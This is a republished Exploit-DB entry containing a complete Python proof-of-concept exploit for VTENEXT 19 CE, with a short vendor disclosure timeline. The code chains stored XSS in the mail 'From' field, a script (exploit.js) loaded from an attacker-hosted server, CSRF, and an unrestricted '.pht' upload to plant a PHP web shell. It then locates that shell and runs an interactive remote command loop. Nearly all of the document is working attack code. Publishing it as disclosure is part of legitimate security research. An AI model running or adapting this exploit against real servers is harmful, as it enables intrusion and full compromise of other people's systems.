VTENEXT 19 CE – Remote Code Execution

  • 作者： Marco Ruela
    日期： 2020-09-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/48804/
  • #!/usr/bin/python3

# Exploit Title: VTENEXT 19 CE - Remote Code Execution
# Google Dork: n/a
# Date: 2020/09/09
# Exploit Author: Marco Ruela
# Vendor Homepage: https://www.vtenext.com/en/
# Software Link: Vendor removed vulnerable version from sourceforge.net
# Version: 19 CE
# Tested on: Ubuntu 16.04
# CVE 	: N/A
	
# 2020/03/07 - Disclosed vulnerabilities to vendor
# 2020/03/10 - Vendor committed to fix
# 2020/09/09 - Public disclosure

# This script should be easy enough to follow.
# We string together the three vulnerabilities to get RCE.

# XSS - The "From" field of the VTENEXT Messages module is vulnerable.
# File Upload - File extensions are checked against a $upload_badext in the config file, .pht extensions are allowed and executable by default .
# CSRF - No CSRF protections in place.

# exploit.js needs to be hosted somewhere, IP's need to be replaced 
# check_csrf() should be changed based on your setup
# run_shell() is a "nice to have"


# content of exploit.js
"""
function insertImage() {
	var xhr = new XMLHttpRequest();
	xhr.open('POST','http://192.168.226.168/vtenext19ce/index.php?module=Myfiles&action=MyfilesAjax&file=UploadFile&folderid=&uniqueid=',true);
	xhr.setRequestHeader('Content-type','multipart/form-data; boundary=---------------------------rekt');
xhr.setRequestHeader('Content-Length', '248');
xhr.setRequestHeader('Referer', 'http://172.16.233.146/vtenext19ce/index.php');
xhr.withCredentials = true;
var body = '-----------------------------rekt\nContent-Disposition: form-data; name="file_0"; filename="shell.pht"\nContent-Type: text/text\n\n<?php system($_GET[\'x\']); ?>\n\n-----------------------------rekt--';

var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

insertImage();
"""

import smtplib
import datetime
import requests
import os
import time

base_url = "http://192.168.226.168/vtenext19ce/"

print("[*] CVE-2020-10227, CVE-2020-10228, CVE-2020-10229 - POC")


def build_url():
d = datetime.datetime.today()
year = str(d.year)
month = str(d.strftime("%B"))
week = "week" + str(d.isocalendar()[1] - d.replace(day=1).isocalendar()[1])
tmp = base_url + "storage/home/1/" + year + "/" + month + "/" + week + "/"
return(tmp)

def build_mail():
_from= """'<script src="http://192.168.226.1/exploit.js" onerror=alert(1) >'"""
_to= "admin@example.com"
_subject = "Important!"
_body= "While you're reading this, a file is being uploaded to this server." 

msg= "From: " + _from + "\n"
msg += "To: " + _to + "\n"
msg += "Subject: " + _subject + "\n\n"
msg += _body
return msg

def send_mail():
msg = build_mail()
smtp_server = '192.168.226.167'
smtp_port = 25

sender = 'user1@lab.local'
receiver = 'admin@lab.local'

server = smtplib.SMTP(smtp_server, smtp_port)
server.sendmail(sender, receiver, msg)

def check_csrf():
while True:
is_there = os.popen('tail -n1 /var/log/apache2/access.log').read()

if "200" in is_there and "/exploit.js" in is_there and base_url in is_there:
print("[>] CSRF triggered")
break
else:
time.sleep(0.5)
continue


def find_shell():
print("[>] Locating shell")
time.sleep(1)
tmp1 = build_url()
for i in range(1, 9999):
url = tmp1 + str(i) + "_shell.pht" 
r = requests.get(url)
if r.status_code == 200:
print("[>] Found the shell")
print("[-] Location: " + url)
return url
else:
continue

def run_shell(x):
print("\n")
while True:
cmd = input("shell> ")
if cmd == "exit":
break
else:
url = x + "?x=" + cmd
r = requests.get(url)
print(r.text)


print("[>] Sending email")
send_mail()

print("[-] Waiting for user to open mail")

check_csrf()

shell_location = find_shell()

run_shell(shell_location)


print("[!] Done!")